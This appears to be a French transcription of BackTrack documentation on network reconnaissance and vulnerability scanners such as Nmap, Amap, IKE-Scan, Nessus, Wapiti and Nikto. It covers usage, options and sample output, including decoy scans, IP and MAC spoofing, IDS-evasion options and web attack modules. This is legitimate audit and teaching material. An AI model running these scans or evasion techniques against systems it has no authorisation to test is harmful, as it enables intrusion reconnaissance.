SécuritéRéseauetI..

Transcription

SécuritéRéseauetI..
BT
COLLECTE D'INFORMATIONS
Introduction sur la potentialité des informations d’un réseau
#DNS Walk
DNS-Walk est un debugger DNS.
Usage
dnswalk domain
domain MUST end with a '.'
#whois
Lors d'un audit la premiere chose à faire est la recolte d'information aussi bien humaine que technique, en l'occurence WHOIS permet de recuperer ces 2 types
d'informations et principalement des informations concernant le possesseur du nom de domaine.
Premiers pas vers la collecte d'information. Le whois est incontournable. Il interroge les serveurs publics dédiés aux renseignements de nom de domaine et ip.
Il affichera les informations de son propriétaire(si présentes).
Le site officiel pour les whois sur les domaines en .fr
Usage
whois [OPTION]... OBJECT...
Options
-l
one level less specific lookup [RPSL only]
-L
find all Less specific matches
-m
find first level more specific matches
-M
find all More specific matches
-c
find the smallest match containing a mnt-irt attribute
-x
exact match [RPSL only]
-d
return DNS reverse delegation objects too [RPSL only]
-i ATTR[,ATTR]... do an inverse lookup for specified ATTRibutes
-T TYPE[,TYPE]... only look for objects of TYPE
-K
only primary keys are returned [RPSL only]
-r
turn off recursive lookups for contact information
-R
force to show local copy of the domain object even
if it contains referral
-a
search all databases
-s SOURCE[,SOURCE]... search the database from SOURCE
-g SOURCE:FIRST-LAST find updates from SOURCE from serial FIRST to LAST
-t TYPE
request template for object of TYPE ('all' for a list)
-v TYPE
request verbose template for object of TYPE
-q [version|sources|types] query specified server info [RPSL only]
-F
fast raw output (implies -r)
-h HOST
spécifier l'host du serveur
-p PORT
spécifier le port du serveur
-H
masque les informations relatives aux législations
--verbose
mode bavardage
--help
affiche ce menu d'aide et quitte
--version
affiche les informations de version et quitte
CARTOGRAPHIE RÉSEAU
Introduction aux réseaux informatiques
#Autoscan
Autoscan est un explorateur réseau conçu par Thierry Lagarde. Il permet de lancer une série de scan à travers le réseau, pour trouver tout matériel (routeur,
parefeu...), et toutes machines connectées. Ses principales caractéristiques sont de reconnaître les systèmes d'exploitation de ses hôtes, ainsi qu'une série
d'informations intéressantes (Ports ouverts, nom de la machine, détection de ressources partagées,...). Les droits d'administrateur ne sont pas nécessaires, de
plus Autoscan peut émuler un client telnet, et nessus.
version incluse dans BT3f : 1.26
Mode Alerte Intrusion
Cette fonctionnalité est à activer sur la fenêtre principale. Autoscan scannera et enregistrera tous les équipements qui seront trouvés (ordinateur, matériel
réseau...etc). Ce sera votre équipement de base, ainsi dans le futur lorsqu'un nouvel équipement sera trouvé, vous serez alerté d'une intrusion. L'idée est
simple mais efficace.
#Netdiscover
Cet outil permet de lister l'ensemble des ordinateurs en ligne, connectés sur le réseau lan. Il procède par deux types d'écoute, l'une passive(il n'envoit aucun
paquet, il analyse ce qu'il reçoit des autres), l'autre active (envoit de requêtes arp). Très utilisé pour les réseaux sans dhcp.
Version actuelle : 0.3 beta 6
#Nmap
Nmap est sans doute le scanner de sécurité le plus connu au monde. Il détecte les ports ouverts avec une rapidité impressionnante. De plus, il est composé
d'une panoplie d'options permettant à tout utilisateur d'obtenir le maximum d'informations (Informations de service, version, OS, ...).
Il met donc en œuvre plusieurs types de scans (TCP, UDP, ICMP...) que l'on peut coupler à différentes techniques :
IDLE Host Scanning.
Spoofing (adresse IP et MAC).
Port scanning (mode récursif, aléatoirement, choisis dans une liste et/ou déterminés).
Fingerprinting (prise d'empreinte de pile système active et passive, service discovering).
...
Il est décrit comme : flexible, puissant, portable, simple, libre, bien documenté, soutenu par une communauté, reconnu par les professionnels, et enfin
populaire !
Usage
nmap [Scan Type(s)] [Options] {target specification}
Options
Spécifier la(les) cible(s)
Accepte les noms d'hôtes, les adresses IPs, les réseaux, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Lire les noms d'hôtes et de réseaux depuis le fichier spécifié
-iR <num hosts>: Définir les cibles aléatoirement
--exclude <host1[,host2][,host3],...>: Exclure des hosts et/ou des réseaux
--excludefile <exclude_file>: Liste d'exclusion depuis le fichier spécifié
Découverte de l'host
-sL: List Scan - liste simplement les cibles scannées
-sP: Ping Scan - go no further than determining if host is online
-P0: Partir du principe que tous les hôtes sont connecté au réseau -- ne pas vérifier leur présence
-PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-n/-R: ne jamais utiliser la résolution d'adresse IP DNS/toujour utiliser la résolution d'adresse IP DNS [par défaut: parfois]
--dns-servers <serv1[,serv2],...>: Spécifier des serveurs DNS
--system-dns: Utiliser le résolveur de système d'exploitations par DNS (OS's DNS resolver)
Techniques de scan
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: Scan UDP
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idlescan
-sO: IP protocol scan
-b <ftp relay host>: FTP bounce scan
Spécifier le port
-p <port ranges>: Scanner seulement les ports spécifiés
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
-F: Fast - Scanner uniquement les ports listés dans le fichier nmap-services
-r: Scanner consécutivement les ports - pas aléatoirement
Types de détection des services et versions
-sV: Examine les ports scannés pour déterminer les services (et leur version) potentiellement présents
--version-intensity <level>: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Afficher la version détaillée de l'action du scan (option pour debugger)
Détection d'OS
-O: Activer la détection de systèmes d'exploitations (try 2nd generation w/fallback to 1st)
-O2: Utiliser seulement la nouvelle (2ème version) méthode de détection (no fallback)
-O1: Utiliser seulement la vielle (1ère version) méthode de détection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
Synchronisations et perfomances
Options which take <time> are in milliseconds, unless you append 's'
(seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
-T[0-5]: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
--min-parallelism/max-parallelism <time>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
probe round trip time.
--max-retries <tries>: Caps number of port scan probe retransmissions.
--host-timeout <time>: Give up on target after this long
--scan-delay/--max-scan-delay <time>: Adjust delay between probes
Spoofing et contournement d'IDS/Parefeu
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoofer l'adresse source
-e <iface>: Utilier l'interface réseau à utiliser
-g/--source-port <portnum>: Use given port number
--data-length <num>: Append random data to sent packets
--ip-options <options>: envois les packets réseaux avec les options IP spécifiées
--ttl <val>: Définir le champs TTL (Time To Live)
--spoof-mac <mac address/prefix/vendor name>: Spoofer votre adresse MAC
--badsum: Envoyer les packets réseaux avec une checksum TCP/UDP buggé
Informations de sortie
-oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Augmenter la précision des informations (peut-être utiliser deux fois pour plus d'effet)
-d[level]: Définir le niveau de précision des information de débuggage (maximum à 9)
--open: Afficher seulement les ports potentiellement ouverts
--packet-trace: Afficher tous les packets réseau envoyés et reçus
--iflist: Print host interfaces and routes (for debugging)
--log-errors: Enregistrer les messages d'erreurs et d'avertissements dans le format normal de sortie de fichier
--append-output: Append to rather than clobber specified output files
--resume <filename>: Reprendre un scan intérompu
--stylesheet <path/URL>: Spécifier une feuille de style XSL pour transformer la sortie XML en HTML
--webxml: Reference stylesheet from Insecure.Org for more portable XML
--no-stylesheet: Prevent associating of XSL stylesheet w/XML output
Divers
-6: Activer le mode IPv6
-A: Activer la détection de systèmes d'exploitation et de leur version
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send using raw ethernet frames or IP packets
--privileged: Partir du principe que l'utilisateur à tous les privillèges
--unprivileged: Assume the user lacks raw socket privileges
-V: Afficher le numéro de version
-h: Afficher cette page d'aide
Exemples
Lister simplement les hôtes en ligne sur la plage 1-254 d'une adresse ip de classe C (192.168.1.xxx) :
bt ~ # nmap -n -sP 192.168.1.1-254
Starting Nmap 4.50 ( http://insecure.org ) at 2008-03-01 03:35 GMT
Host 192.168.1.1 appears to be up.
MAC Address: 00:19:4B:12:33:AC (Sagem Communication)
Host 192.168.1.11 appears to be up.
MAC Address: 00:12:BF:AF:23:04 (Intel Corporate)
Nmap done: 254 IP addresses (2 hosts up) scanned in 6.240 seconds
Proposer un fichier xml en sortie (Interressant pour des rapports de scan), en activant la détection de l'OS(-0), tout en forcant la présence de l'hôte(-P0),
celà au travers d'un scan banal(déconseillé si vous voulez être furtif!) :
bt ~ # nmap -n -0 -P0 192.168.1.11 -oX rscan-11.xml
L'attaque par decoys(ou leurres) génére de faux paquets, afin de tromper la cible sur la provenance du scan. Celà permet de se noyer dans la masse, et de
surcharger la cible de log. Les IP qui serviront de leurres sont suivis de l'option -D, la cible du scan est ici 192.168.1.11 :
bt ~ # nmap -n -D192.168.1.10,192.168.1.59 192.168.1.11
Scan de type OS et services de détection:
bt ~ # nmap -vv -A 127.0.0.1
Starting Nmap 4.20 ( http://insecure.org ) at 2007-08-03 02:25 CEST
Initiating SYN Stealth Scan at 02:25
Scanning bt.example.net (127.0.0.1) [1697 ports]
Discovered open port 25/tcp on 127.0.0.1
Discovered open port 113/tcp on 127.0.0.1
Discovered open port 631/tcp on 127.0.0.1
Discovered open port 6000/tcp on 127.0.0.1
Discovered open port 37/tcp on 127.0.0.1
Discovered open port 587/tcp on 127.0.0.1
Completed SYN Stealth Scan at 02:25, 0.08s elapsed (1697 total ports)
Initiating Service scan at 02:25
Scanning 6 services on bt.example.net (127.0.0.1)
Completed Service scan at 02:25, 6.01s elapsed (6 services on 1 host)
Initiating OS detection (try #1) against bt.example.net (127.0.0.1)
Host bt.example.net (127.0.0.1) appears to be up ... good.
Interesting ports on bt.example.net (127.0.0.1):
Not shown: 1691 closed ports
PORT STATE SERVICE VERSION
25/tcp open smtp Sendmail 8.13.8/8.13.8
37/tcp open time (32 bits)
113/tcp open ident OpenBSD identd
587/tcp open smtp Sendmail 8.13.8/8.13.8
631/tcp open ipp CUPS 1.1
6000/tcp open X11 (access denied)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.17-10.33 (Ubuntu)
OS Fingerprint:
OS:SCAN(V=4.20%D=8/3%OT=25%CT=1%CU=32915%PV=N%DS=0%G=Y%TM=46B27600%P=i686-p
OS:c-linux-gnu)SEQ(SP=CD%GCD=1%ISR=CD%TI=Z%II=I%TS=8)OPS(O1=M400CST11NW2%O2
OS:=M400CST11NW2%O3=M400CNNT11NW2%O4=M400CST11NW2%O5=M400CST11NW2%O6=M400CS
OS:T11)WIN(W1=8000%W2=8000%W3=8000%W4=8000%W5=8000%W6=8000)ECN(R=Y%DF=Y%T=4
OS:0%W=8018%O=M400CNNSNW2%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2
OS:(R=N)T3(R=Y%DF=Y%T=40%W=8000%S=O%A=S+%F=AS%O=M400CST11NW2%RD=0%Q=)T4(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%TOS=C0%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUL=G%RUD=G)IE(R=Y%DFI=N%T=40%TOSI=S%CD=S%SI=S%DL
OS:I=S)
Uptime: 0.823 days (since Thu Aug 2 06:40:57 2007)
Network Distance: 0 hops
TCP Sequence Prediction: Difficulty=205 (Good luck!)
IPID Sequence Generation: All zeros
Service Info: OSs: Unix, OpenBSD
OS and Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap finished: 1 IP address (1 host up) scanned in 7.481 seconds
Raw packets sent: 1716 (76.266KB) | Rcvd: 3441 (145.712KB)
Utilisation de la sortie grepable pour afficher uniquement les IP avec le port défini ouvert:
bt ~ # nmap -p80 -oG - 10.0.0.0/24 | awk '/open/{print $2}'
10.0.0.1
10.0.0.2
10.0.0.3
10.0.0.4
10.0.0.10
10.0.0.12
#Arp
Arp manipule ou affiche le cache du voisinage réseau IPV4 du kernel. Il peut ajouter des entrées à la table, en supprimer ou en afficher le contenu actuel. Il
pourra être utile pour détecter un ARP Poisoning, en observant deux adresses MAC identiques pointant vers deux IP différentes.
Usage
arp [-vn] [<HW>] [-i <if>] [-a] [<hostname>]
<-Display ARP cache
arp [-v]
[-i <if>] -d <host> [pub]
<-Delete ARP entry
arp [-vnD] [<HW>] [-i <if>] -f [<filename>]
<-Add entry from file
arp [-v] [<HW>] [-i <if>] -s <host> <hwaddr> [temp]
<-Add entry
arp [-v] [<HW>] [-i <if>] -Ds <host> <if> [netmask <nm>] pub
<-Options
-a
afficher tous les hosts dans le mode alternatif BSD
-s, --set
déclarer une nouvelle entrée ARP
-d, --delete
effacer l'entrée spécifiée
-v, --verbose
mode bavard
-n, --numeric
ne pas résoudre les noms d'hôtes
-i, --device
spécifier l'interface réseau à utiliser (ex: eth0)
-D, --use-device
read <hwaddr> from given device
-A, -p, --protocol
spécifier la famille du protocole
-f, --file
lire de nouvelles entrées dans le fichier spécifié ou depuis /etc/ethers
<HW>=Use '-H <hw>' to specify hardware address type. Default: ether
List of possible hardware types (which support ARP):
strip (Metricom Starmode IP) ether (Ethernet) tr (16/4 Mbps Token Ring)
tr (16/4 Mbps Token Ring (New)) ax25 (AMPR AX.25) netrom (AMPR NET/ROM)
arcnet (ARCnet) dlci (Frame Relay DLCI) irda (IrLAP)
x25 (generic X.25)
Exemple
bt ~ # arp
Address
HWtype HWaddress
Flags Mask
Iface
192.168.0.254
ether 00:07:CB:49:EA:80 C
eth1
#Nslookup
Nslookup est un programme permettant de connaître l'adresse IP attribué à un nom d'hôte (et inversement).
Exemples
bt ~ # nslookup www.w3c.org
Server:
212.27.54.252
Address:
212.27.54.252#53
Non-authoritative answer:
www.w3c.org canonical name = www.w3.org.
Name: www.w3.org
Address: 128.30.52.45
Name: www.w3.org
Address: 128.30.52.53
Name: www.w3.org
Address: 128.30.52.31
Name: www.w3.org
Address: 193.51.208.69
Name: www.w3.org
Address: 128.30.52.54
Name: www.w3.org
Address: 128.30.52.52
Name: www.w3.org
Address: 128.30.52.46
Name: www.w3.org
Address: 128.30.52.47
bt ~ # nslookup 127.0.0.1
Server:
212.27.54.252
Address:
212.27.54.252#53
Non-authoritative answer:
1.0.0.127.in-addr.arpa name = localhost.
Authoritative answers can be found from:
#Ping
Ping est un utilitaire réseau qui fonctionne avec le protocole ICMP.
Il envoie une requête ICMP de type 8 (echo request) à l'adresse IP ou l'host lui étant spécifié. Si la machine est présente, elle répondra par une requête ICMP
de type 0 (echo reply). Dans le cas contraire, un message d'erreur s'affichera "Destination Host Unreachable" (Host inaccessible).
On l'utilise le plus souvent pour vérifier la présence d'une machine sur le réseau.
Usage & Options
ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
Exemples
bt ~ # ping -c 2 -i 0.5 -s 512 -t 64 192.168.0.254
PING 192.168.0.254 (192.168.0.254) 512(540) bytes of data.
520 bytes from 192.168.0.254: icmp_seq=1 ttl=64 time=0.916 ms
520 bytes from 192.168.0.254: icmp_seq=2 ttl=64 time=0.889 ms
--- 192.168.0.254 ping statistics --2 packets transmitted, 2 received, 0% packet loss, time 500ms
rtt min/avg/max/mdev = 0.889/0.902/0.916/0.032 ms
bt ~ # ping -c 4 -i 1 -s 256 -t 128 www.google.com
PING www.l.google.com (64.233.183.104) 256(284) bytes of data.
64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=1 ttl=242 (truncated)
64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=2 ttl=242 (truncated)
64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=3 ttl=242 (truncated)
64 bytes from nf-in-f104.google.com (64.233.183.104): icmp_seq=4 ttl=242 (truncated)
--- www.l.google.com ping statistics --4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 73.779/73.903/74.036/0.298 ms
bt ~ # ping -c 1 -i 0.5 -s 128 -t 64 192.168.0.13
PING 192.168.0.13 (192.168.0.13) 128(156) bytes of data.
From 192.168.0.1 icmp_seq=1 Destination Host Unreachable
--- 192.168.0.13 ping statistics --1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
#Scanpbnj
PBNJ est une suite d'outils pour surveiller des changements intervenus sur un réseau. Il fait ceci par vérification de changements sur la machine cible, ce qui
inclut les détails sur des services fonctionnant comme pour l'état de service. PBNJ analyse les données d'un scan et les stocke dans une base de données. PBNJ
emploie Nmap pour exécuter les scans.
Outils
ScanPBNJ.1 - est un programme pour lancer des scans Nmap et sauvegarder les résultat dans une base de donnéee PBNJ 2.0.
OutputPBNJ.1 - est un programme pour interroger une base de donnée PBNJ 2.0.
Genlist.1 - est un scanner de ping.
Utilisation
Que peut faire PBNJ pour moi ?
Cela dépend de ce dont vous avez besoin, PBNJ peut faire diverses choses. Il peut donner un plan d'un réseau de classe. Il peut également être lancé comme
outil de scan automatisé analysant les données de dossiers au format CSV et créant une vue détaillée d'un réseau avec le temps.
* Scans Interne/Externe automatisé
* Système d'Interrogation/Alerte flexible
* Résultats d'analyse Nmap XML
* Accès facile aux donnés de la base de données Nmap ( SQLite, MySQL or Postgres)
* Consoles et moteurs de scans distribués
Exemple d'utilisation
#scanpbnj localhost
-------------------------------------Starting Scan of 127.0.0.1
Inserting Machine
Inserting Service on 25:tcp smtp
Inserting Service on 80:tcp http
Scan Complete for 127.0.0.1
-------------------------------------On arrête apache
# scanpbnj localhost
-------------------------------------Starting Scan of 127.0.0.1
Machine is already in the database
Checking Current Services
= smtp:25 is (4.68) Exim smtpd
! Service 80:tcp http is down
Scan Complete for 127.0.0.1
-------------------------------------#Scan VPN
Scan de vulnérabilités VPN IPsec
Outils : IKEProbe, IKE-Scan (les deux outils sont complémentaires).
#IKEProbe
C'est un outils servant à la détection de vulnérabilités : pour vérifier qu'un système est vulnérable ou non. La commande est simple : il suffit de le lancer en
ligne de commande, avec comme options l'adresse IP du serveur à analyser. Celui-ci va effectuer une série de tests pour voir si le serveur supporte ou non le
mode "agressif" d'une connexion VPN : en effet, ce logiciel exploite une faille inhérente au protocole ISAKMP. Si le système est vulnérable alors celui-ci va le
signaler. Cependant, celui-ci est avant tout développé pour Microsoft Windows : ne pas oublier le mot "wine" devant la ligne de commande.
Exemple
Prenons la commande suivante :
wine ikeprobe.exe 192.168.1.1
Cet exemple va scanner l'IP 192.168.1.1 et chercher à le placer sous le mode agressif, si à un moment ou un autre, celui-ci découvre une réponse d'un mode
agressif, il avertit l'utilisateur et quitte.
#IKE-Scan
Ce logiciel sert à initialiser une connexion VPN over IPsec. Il est en outre, capable de se connecter en mode agressif, si le serveur l'autorise. La syntaxe
ressemble à celle d'IKEProbe, mais avec quelque options de plus comme : le moyen de se connecter en mode agressif ; celui d'enregistrer le handshake dans un
fichier ; de spécifier le port source et de destination ; de spécifier le groupe de Diffie Hellman ; l'identité de l'utilisateur qui souhaite se connecter.
Ce logiciel est de plus capable d'effectuer un "fingerprinting" du système hôte : très pratique pour repérer d'autre failles éventuelles.
Petit truc à savoir
Par défaut, les PIX laissent le mode agressif activé par défaut.
#Amap
AMap est un scanner de protocole crée par le groupe THC. Il permet de retrouver le service en écoute sur un port "non standard" en utilisant entre autre le
grab de bannière.
Utilisation
#amap [Mode(s)] [Option(s)] Cible Port(s)
Modes
-A
Map applications: send triggers and analyse responses (default)
-B
Just grab banners, do not send triggers
-P
No banner or application stuff - be a (full connect) port scanner
-W
Web Update - online update the application fingerprint database!
Options
-1
Only send triggers to a port until 1st identification. Speeeeed!
-6
Use IPv6 instead of IPv4
-b
Print ascii banner of responses
-i FILE
Nmap machine readable outputfile to read ports from
-u
Ports specified on commandline are UDP (default is TCP)
-R / -S
Do NOT identify RPC / SSL services
-H
Do NOT send application triggers marked as potentially harmful
-U
Do NOT dump unrecognised responses (better for scripting)
-d
Dump all responses
-v
Verbose mode, use twice (or more!) for debug (not recommended :-)
-q
Do not report closed ports, and do not print them as unidentified
-o FILE [-m] Write output to file FILE, -m creates machine readable output
-c CONS
Amount of parallel connections to make (default 32, max 256)
-C RETRIES Number of reconnects on connect timeouts (see -T) (default 3)
-T SEC
Connect timeout on connection attempts in seconds (default 5)
-t SEC
Response wait timeout in seconds (default 5)
p PROTO Only send triggers for this protocol (e.g. ftp)
TARGET PORT The target address and port(s) to scan (additional to -i)
Exemples
Syntaxe basique
bt ~ # amap 10.69.69.69 80
bt ~ # amap 10.69.69.69 21 25 80 110
bt ~ # amap 10.69.69.69 0-1024
Utilisation d'une sortie d'NMap
bt ~ # nmap -T5 -oM scan 10.69.69.69
Starting Nmap 4.60 ( http://nmap.org ) at 2008-07-22 14:39 GMT
Interesting ports on cible (10.69.69.69):
Not shown: 1708 filtered ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
110/tcp open pop3
113/tcp closed auth
222/tcp open rsh-spx
399/tcp open sapeps
Nmap done: 1 IP address (1 host up) scanned in 26.353 seconds
bt ~ # amap -i scan 10.69.69.69
amap v5.2 (www.thc.org/thc-amap) started at 2008-07-22 14:46:52 - MAPPING mode
Unrecognized response from 10.69.69.69:21/tcp (by trigger ms-ds) received.
Please send this output and the name of the application to [email protected]:
0000: 3232 302d 4669 6c65 5a69 6c6c 6120 5365 [ 220-FileZilla Se ]
0010: 7276 6572 2076 6572 7369 6f6e 2030 2e39 [ rver version 0.9 ]
0020: 2e32 3220 6265 7461 2056 6572 7369 6f6e [ .22 beta Version ]
0030: 2046 696c 655a 696c 6c61 2053 6572 7665 [ FileZilla Serve ]
0040: 720d 0a
[ r..
]
Protocol on 10.69.69.69:25/tcp matches smtp
Protocol on 10.69.69.69:110/tcp matches pop3
Protocol on 10.69.69.69:222/tcp matches ssh
Protocol on 10.69.69.69:222/tcp matches ssh-openssh
Protocol on 10.69.69.69:80/tcp matches http-apache-2
Protocol on 10.69.69.69:80/tcp matches http
Protocol on 10.69.69.69:3399/tcp matches ms-remote-desktop-protocol
Protocol on 10.69.69.69:21/tcp matches ftp
Protocol on 10.69.69.69:80/tcp matches webmin
Unidentified ports: none.
amap v5.2 finished at 2008-07-22 14:47:07
IDENTIFICATION DE VULNÉRABILITÉ
Scanner de sécurité
#VulnScan : NESSUS
Traduit de l'anglais d'après le site officiel :
Le scanner de vulnérabilités Nessus est le leader mondial des scanners actifs, et propose une découverte très rapide, un audit de configuration, le profil des
ressources, la découverte de données sensibles et l'analyse des failles de votre poste. Les scanners Nessus peuvent être déployés à travers un réseau
d'entreprise, au cœur des DMZ, et à cheval sur plusieurs réseaux séparés physiquement.
Nessus fournit les types suivants d'audits de sécurité :
scan de ports authentifiés ou non :
scan des failles de sécurité au niveau du réseau :
audit des correctifs pour Windows et pour la plupart des plateformes UNIX (demande une authentification) ;
audit des configurations pour Windows et pour la plupart des plateformes UNIX (demande une authentification) ;
test robuste et complet de la sécurité (demande une authentification) pour des logiciels tierce partie tels que iTunes, JAVA, Skype ou Firefox ;
test des failles pour des applications personnalisées ou en mode web ;
audit de configuration de bases de données SQL ;
liste des logiciels sur UNIX et Windows ;
test des anti-virus et recherche de signatures obsolètes et d'erreurs de configuration.
Nessus peut aussi être utilisé pour des scans had-hoc, des scans quotidiens, et des audits rapides.
Nessus est un logiciel propriétaire.
Lancer Nessus
#nessusd -D
#nessus
Note:
Invoquer (#/usr/local/sbin/nessus-update-plugins) régulièrement pour mettre à jour vos plugins.
Analyseur de Site Web
#Wapiti
Wapiti, outil écrit en Python, permet d'auditer des applications web via le protocole HTTP.
Ce dernier s'attaque au front-office (l'interface du site) afin d'y déceler des vulnérabilités inhérentes aux langages dynamiques. Parmi la multitude de scanner
existant, celui-ci propose une étude relativement complète. Ainsi, parmi les failles les plus communes, on peut citer des vulnérabilités de type SQL (Langages
communiquant avec les bases de données : JSP, PHP, ASP...), de type XSS ( Injection de code javascript), et également d'autres vulnérabilités, telles que
l'inclusion de fichier, l'exécution de commandes.
Version actuel : 1.1.5
Usage
python wapiti.py http://server.com/base/url/ [options]
Options d'utilisation
-s <url>
--start <url>
Démarrer le scan avec l'url <url>
-x <url>
--exclude <url>
Pour exclure certaines url du scan (par exemple les scripts de déconnection)
On peut aussi utiliser un caractère générique (wildcard) comme '
Exemple : -x "http://server/base/?page=*&module=test"
ou -x http://server/base/admin/* pour exclure le répertoire
-p <url_proxy>
--proxy <url_proxy>
Spécifier un proxy
Exemple: -p http://proxy:port/
-c <cookie_file>
--cookie <cookie_file>
Pour utiliser un cookie
-t <timeout>
--timeout <timeout>
Pour fixer un timeout (en seconde),très utile selon le temps de réponse du proxy.
-a <login%password>
--auth <login%password>
Règle le login et le password pour une authentification HTTP
Ne fonctionne pas avec Python 2.4
-r <parameter_name>
--remove <parameter_name>
Efface un paramètre des URLs
-m <module>
--module <module>
Définit un jeu d'options de scan et d'attaque précis.
GET_ALL: utilise seulement les requêtes GET (pas POST)
GET_XSS: utilise seulement les attaques XSS avec la méthode GET
POST_XSS: utilise seulement les attaques XSS avec la méthode POST
-u
--underline
Mettre en couleur les paramètres vulnérabilité dans la sortie
-v <level>
--verbose <level>
Règle le nombre d'information à afficher dans la sortie.
0: silencieux (default), 1: Afficher chaque url, 2: afficher toutes les attaques
#Nikto
Nikto est un scanner de vulnérabilité web Open Source (GPL) qui effectue des tests complets contre les serveurs Web. Il teste plus de 3500 fichiers
potentiellement dangereux / CGI. Nikto n'est pas conçu comme un outil trop furtif. Il permet de tester un serveur web rapidement mais il est facilement
repérable dans les logs. Il peut quand même être bien utile pour tester la sécurité de son serveur web.
Usage
bt nikto # ./nikto.pl -e -host
Options d'utilisation
Options:
-config+
use this config file
-Cgidirs+
scan these CGI dirs: 'none', 'all', or values like "/cgi/ /cgi-a/"
-Display+
turn on/off display outputs:
1 Show redirects
2 Show cookies received
3 Show all 200/OK responses
4 Show URLs which require authentication
D Debug Output
V Verbose Output
-dbcheck
check database and other key files for syntax errors (cannot be abbreviated)
-evasion+
ids evasion technique:
1 Random URI encoding (non-UTF8)
2 Directory self-reference (/./)
3 Premature URL ending
4 Prepend long random string
5 Fake parameter
6 TAB as request spacer
7 Change the case of the URL
8 Use Windows directory separator (\)
-findonly
find http(s) ports only, don't perform a full scan
-Format+
save file (-o) format:
htm HTML Format
csv Comma-separated-value
txt Plain text (default if not specified)
-host+
target host
-Help
Extended help information
-id+
host authentication to use, format is userid:password
-mutate+
Guess additional file names:
1 Test all files with all root directories
2 Guess for password file names
3 Enumerate user names via Apache (/~user type requests)
4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests)
-nolookup
skip name lookup
-output+
write output to this file
-port+
port to use (default 80)
-Pause+
pause between tests (seconds)
-root+
prepend root value to all requests, format is /directory
-ssl
force ssl mode on port
-Single
Single request mode
-timeout+
timeout (default 2 seconds)
-Tuning+
scan tuning:
0 File Upload
1 Interesting File / Seen in logs
2 Misconfiguration / Default File
3 Information Disclosure
4 Injection (XSS/Script/HTML)
5 Remote File Retrieval - Inside Web Root
6 Denial of Service
7 Remote File Retrieval - Server Wide
8 Command Execution / Remote Shell
9 SQL Injection
a Authentication Bypass
b Software Identification
c Remote Source Inclusion
x Reverse Tuning Options (i.e., include all except specified)
-useproxy
use the proxy defined in config.txt
-update
update databases and plugins from cirt.net (cannot be abbreviated)
-Version
print plugin and database versions
-vhost+
virtual host (for Host header)
+ requires a value
Configuration
Le fichier de configuration se trouve dans le répertoire courant (/pentest/scanners/nikto ) et se nomme config.txt :
#########################################################################################################
# CONFIG STUFF
#########################################################################################################
# default command line options, can't be an option that requires a value. used for ALL runs.
# CLIOPTS=-g -a
# location of nmap to use with port scanning (rather than Nikto internals)
# and any options to pass to it
NMAP=/usr/local/bin/nmap
NMAPOPTS=-P0
# ports never to scan
SKIPPORTS=21 111
# IDs never to alert on (Note: this only works for IDs loaded from db_tests)
SKIPIDS=000703
# if Nikto is having difficulty finding the 'plugins', set the full install path here
# EXECDIR=/usr/local/nikto
# the default HTTP version to try... can/will be changed as necessary
DEFAULTHTTPVER=1.0
# Nikto can submit updated version strings to CIRT.net. It won't do this w/o permission. You should
# send updates because it makes the data better for everyone ;) *NO* server specific information
# such as IP or name is sent, just the relevant version information.
# UPDATES=yes #-- ask before each submission if it should send
# UPDATES=no #-- don't ask, don't send
# UPDATES=auto #-- automatically attempt submission *without prompting*
UPDATES=yes
# Warning if MAX_WARN OK or MOVED responses are retrieved
MAX_WARN=20
# Prompt... if set to 'no' you'll never be asked for anything. Good for automation.
#PROMPTS=no
# cirt.net : set the IP so that updates can work without name resolution
CIRT=209.172.49.178
#########################################################################################################
# PROXY STUFF
#########################################################################################################
#PROXYHOST=127.0.0.1
#PROXYPORT=8080
#PROXYUSER=proxyuserid
#PROXYPASS=proxypassword
#########################################################################################################
# COOKIE STUFF
#########################################################################################################
# send a cookie with all requests, helpful if auth cookie is needed
#STATIC-COOKIE=cookiename=cookievalue
